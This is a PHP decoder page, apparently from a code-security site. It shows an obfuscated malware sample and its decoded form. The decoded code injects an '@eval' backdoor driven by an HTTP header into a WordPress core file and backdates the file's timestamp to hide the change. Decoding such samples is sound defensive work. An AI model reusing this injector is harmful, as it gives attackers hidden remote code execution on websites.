Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVFhb9owFPyOxH9wpUgFDU2hKaBq4gOlkIYSQgkEyDShxHEaJ46dJQ6DTPvv..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo3MzoiL2hvbWUxL3JjbmVhbGUvd3d3LnJlZG1vdW50YWluZ3Jhbml0ZS5jb20vd3AtaW5jbHVkZXMvdGVtcGxhdGUtbG9hZGVyLnBocCI7aToxO3M6NzoiMDlGMjYyQSI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzA5RjI2MkEnXSk7IjtpOjM7czozNToifl5ccyppZi4qaXNfcm9ib3RzW15ce3xcOl0rKFx7fDopfm0iO30=');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVFhb9owFPyOxH9wpUgFDU2hKaBq4gOlkIYSQgkEyDShxHEaJ46dJQ6DTPvvcygUulXaLEt+su/dvTtXK0mQ9Bn1LYdgz+Godr2eM9mgPDHCXgcWTNELhsc3wdZdLnZjZRS6sRW46mLrKZ4ypiNiq82tt2zJ6yXJbWUUuDGRbbMVujeywPS4sxT1oxXZK33rqRaH6i7w1AV31bvAVq39mN4z2Nc6zpztDEVvT4Se/kBUPVzvn83D/b681wutrUX3xIuH2VN/5i9ky7Qiy1zuPc0azp5XRa81C7UbPRrQlRl1tLD0oJceismcYZ+0INwniY1vvzuriQ/jO+wqs2LZbEGk7KBB5PRpuOv4DyzxYxkbity9rn+pVvycQo4ZBX9GJWUorYOf1Uq1AsQiOOOgJvk5IVOHBw0gZfuMo3hAt6KGzEPiSBzOUUrroAtyKvqxICtQzXUy1L7deKiEvRKX0iWtlLE8hUg0+JigzQviG8goR5RnZ7ETGPuglvFU7Nqx73KMOrjqChqHZOgwNziuFPE8pUeKX2emqyRFL5vY4TConSZvgDPx4QVl9X+SSRT9ME82xHCbFCXEgcLpkeKr/O2YEfgMpo/TzcAYi+r986vuR1bf6N+77f63W6nMNuY4PuV8qC/yBZ9AUz725JRgGv0d/uF/kvyj/2lcRHCCc5aXuV5A3oRLiJjsNw==")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 c20efab2f617b51656c0253a15576a78
Eval Count 1
Decode Time 40 ms